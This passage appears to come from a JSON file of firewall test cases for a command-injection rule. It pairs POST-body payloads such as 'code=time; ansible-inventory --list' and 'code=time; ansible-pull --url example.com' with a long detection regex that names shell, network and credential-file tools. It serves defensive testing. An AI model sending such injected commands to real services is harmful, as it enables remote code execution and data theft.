&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block ansible-doc command" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=time; ansible-inventory --list\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[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&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block dumping ansible inventory file and variables" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=time; ansible-pull --url example.com\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated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<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|